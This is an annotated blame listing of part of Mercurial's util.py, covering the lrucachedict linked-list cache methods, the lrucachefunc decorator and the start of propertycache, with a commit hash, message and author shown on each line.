0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1503 try:
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1504 node = self._cache[k]
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1505 return node.value
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1506 except KeyError:
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1507 if default is _notset:
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1508 raise
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1509 return default
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1510
19710 887ffa22fd0d lrucachedict: implement clear() Siddharth Agarwal <sid0@fb.com> parents: 19461 diff changeset	1511 def clear(self):
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1512 n = self._head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1513 while n.key is not _notset:
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1514 self.totalcost -= n.cost
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1515 n.markempty()
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1516 n = n.next
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1517
19710 887ffa22fd0d lrucachedict: implement clear() Siddharth Agarwal <sid0@fb.com> parents: 19461 diff changeset	1518 self._cache.clear()
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1519
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1520 def copy(self, capacity=None, maxcost=0):
39581 2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1521 """Create a new cache as a copy of the current one.
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1522
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1523 By default, the new cache has the same capacity as the existing one.
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1524 But, the cache capacity can be changed as part of performing the
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1525 copy.
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1526
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1527 Items in the copy have an insertion/access order matching this
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1528 instance.
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1529 """
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1530
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1531 capacity = capacity or self.capacity
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1532 maxcost = maxcost or self.maxcost
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1533 result = lrucachedict(capacity, maxcost=maxcost)
39579 b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1534
b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1535 # We copy entries by iterating in oldest-to-newest order so the copy
b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1536 # has the correct ordering.
b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1537
b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1538 # Find the first non-empty entry.
27576 6cd3044985c2 lrucachedict: add copy method Eric Sumner <ericsumner@fb.com> parents: 27391 diff changeset	1539 n = self._head.prev
39579 b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1540 while n.key is _notset and n is not self._head:
b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1541 n = n.prev
b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1542
39581 2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1543 # We could potentially skip the first N items when decreasing capacity.
2dcc68c7d25b util: ability to change capacity when copying lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39580 diff changeset	1544 # But let's keep it simple unless it is a performance problem.
27576 6cd3044985c2 lrucachedict: add copy method Eric Sumner <ericsumner@fb.com> parents: 27391 diff changeset	1545 for i in range(len(self._cache)):
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1546 result.insert(n.key, n.value, cost=n.cost)
27576 6cd3044985c2 lrucachedict: add copy method Eric Sumner <ericsumner@fb.com> parents: 27391 diff changeset	1547 n = n.prev
39579 b31b01f93b11 util: properly copy lrucachedict instances Gregory Szorc <gregory.szorc@gmail.com> parents: 39287 diff changeset	1548
27576 6cd3044985c2 lrucachedict: add copy method Eric Sumner <ericsumner@fb.com> parents: 27391 diff changeset	1549 return result
6cd3044985c2 lrucachedict: add copy method Eric Sumner <ericsumner@fb.com> parents: 27391 diff changeset	1550
39582 bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1551 def popoldest(self):
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1552 """Remove the oldest item from the cache.
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1553
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1554 Returns the (key, value) describing the removed cache entry.
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1555 """
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1556 if not self._cache:
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1557 return
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1558
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1559 # Walk the linked list backwards starting at tail node until we hit
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1560 # a non-empty node.
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1561 n = self._head.prev
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1562 while n.key is _notset:
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1563 n = n.prev
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1564
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1565 key, value = n.key, n.value
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1566
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1567 # And remove it from the cache and mark it as empty.
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1568 del self._cache[n.key]
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1569 self.totalcost -= n.cost
39582 bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1570 n.markempty()
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1571
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1572 return key, value
bd9d3a89f07b util: add a popoldest() method to lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39581 diff changeset	1573
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1574 def _movetohead(self, node):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1575 """Mark a node as the newest, making it the new head.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1576
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1577 When a node is accessed, it becomes the freshest entry in the LRU
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1578 list, which is denoted by self._head.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1579
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1580 Visually, let's make ``N`` the new head node (* denotes head):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1581
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1582 previous/oldest <-> head <-> next/next newest
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1583
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1584 ----<->--- A* ---<->-----
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1585 \| \|
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1586 E <-> D <-> N <-> C <-> B
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1587
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1588 To:
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1589
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1590 ----<->--- N* ---<->-----
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1591 \| \|
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1592 E <-> D <-> C <-> B <-> A
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1593
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1594 This requires the following moves:
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1595
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1596 C.next = D (node.prev.next = node.next)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1597 D.prev = C (node.next.prev = node.prev)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1598 E.next = N (head.prev.next = node)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1599 N.prev = E (node.prev = head.prev)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1600 N.next = A (node.next = head)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1601 A.prev = N (head.prev = node)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1602 """
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1603 head = self._head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1604 # C.next = D
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1605 node.prev.next = node.next
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1606 # D.prev = C
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1607 node.next.prev = node.prev
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1608 # N.prev = E
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1609 node.prev = head.prev
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1610 # N.next = A
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1611 # It is tempting to do just "head" here, however if node is
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1612 # adjacent to head, this will do bad things.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1613 node.next = head.prev.next
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1614 # E.next = N
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1615 node.next.prev = node
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1616 # A.prev = N
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1617 node.prev.next = node
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1618
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1619 self._head = node
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1620
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1621 def _addcapacity(self):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1622 """Add a node to the circular linked list.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1623
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1624 The new node is inserted before the head node.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1625 """
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1626 head = self._head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1627 node = _lrucachenode()
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1628 head.prev.next = node
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1629 node.prev = head.prev
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1630 node.next = head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1631 head.prev = node
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1632 self._size += 1
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1633 return node
19710 887ffa22fd0d lrucachedict: implement clear() Siddharth Agarwal <sid0@fb.com> parents: 19461 diff changeset	1634
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1635 def _enforcecostlimit(self):
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1636 # This should run after an insertion. It should only be called if total
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1637 # cost limits are being enforced.
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1638 # The most recently inserted node is never evicted.
39585 cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1639 if len(self) <= 1 or self.totalcost <= self.maxcost:
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1640 return
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1641
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1642 # This is logically equivalent to calling popoldest() until we
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1643 # free up enough cost. We don't do that since popoldest() needs
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1644 # to walk the linked list and doing this in a loop would be
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1645 # quadratic. So we find the first non-empty node and then
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1646 # walk nodes until we free up enough capacity.
39586 f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1647 #
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1648 # If we only removed the minimum number of nodes to free enough
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1649 # cost at insert time, chances are high that the next insert would
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1650 # also require pruning. This would effectively constitute quadratic
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1651 # behavior for insert-heavy workloads. To mitigate this, we set a
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1652 # target cost that is a percentage of the max cost. This will tend
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1653 # to free more nodes when the high water mark is reached, which
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1654 # lowers the chances of needing to prune on the subsequent insert.
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1655 targetcost = int(self.maxcost * 0.75)
f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1656
39585 cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1657 n = self._head.prev
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1658 while n.key is _notset:
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1659 n = n.prev
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1660
39586 f296c0b366c8 util: lower water mark when removing nodes after cost limit reached Gregory Szorc <gregory.szorc@gmail.com> parents: 39585 diff changeset	1661 while len(self) > 1 and self.totalcost > targetcost:
39585 cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1662 del self._cache[n.key]
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1663 self.totalcost -= n.cost
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1664 n.markempty()
cc23c09bc562 util: optimize cost auditing on insert Gregory Szorc <gregory.szorc@gmail.com> parents: 39584 diff changeset	1665 n = n.prev
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1666
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1667
9097 431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1668 def lrucachefunc(func):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1669 '''cache most recent results of function calls'''
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1670 cache = {}
25113 0ca8410ea345 util: drop alias for collections.deque Martin von Zweigbergk <martinvonz@google.com> parents: 25112 diff changeset	1671 order = collections.deque()
28832 f5ff10f6fa6b util: use __code__ (available since py2.6) timeless <timeless@mozdev.org> parents: 28826 diff changeset	1672 if func.__code__.co_argcount == 1:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1673
9097 431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1674 def f(arg):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1675 if arg not in cache:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1676 if len(cache) > 20:
16803 107a3270a24a cleanup: use the deque type where appropriate Bryan O'Sullivan <bryano@fb.com> parents: 16769 diff changeset	1677 del cache[order.popleft()]
9097 431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1678 cache[arg] = func(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1679 else:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1680 order.remove(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1681 order.append(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1682 return cache[arg]
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1683
9097 431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1684 else:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1685
9097 431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1686 def f(*args):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1687 if args not in cache:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1688 if len(cache) > 20:
16803 107a3270a24a cleanup: use the deque type where appropriate Bryan O'Sullivan <bryano@fb.com> parents: 16769 diff changeset	1689 del cache[order.popleft()]
9097 431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1690 cache[args] = func(*args)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1691 else:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1692 order.remove(args)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1693 order.append(args)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1694 return cache[args]
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1695
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1696 return f
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639] Matt Mackall <mpm@selenic.com> parents: 9089 diff changeset	1697
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1698
8207 dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1699 class propertycache(object):
dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1700 def __init__(self, func):
dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1701 self.func = func
dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1702 self.name = func.__name__
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1703
8207 dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1704 def __get__(self, obj, type=None):
dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1705 result = self.func(obj)
18013 98c867ac1330 clfilter: add a propertycache that must be unfiltered Pierre-Yves David <pierre-yves.david@logilab.fr> parents: 17962 diff changeset	1706 self.cachevalue(obj, result)
8207 dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1707 return result
dd8d5be57d65 util: take propertycache from context.py Matt Mackall <mpm@selenic.com> parents: 8181 diff changeset	1708
18013 98c867ac1330 clfilter: add a propertycache that must be unfiltered Pierre-Yves David <pierre-yves.david@logilab.fr> parents: 17962 diff changeset	1709 def cachevalue(self, obj, value):
19951 d51c4d85ec23 spelling: random spell checker fixes Mads Kiilerich <madski@unity3d.com> parents: 19852 diff changeset	1710 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
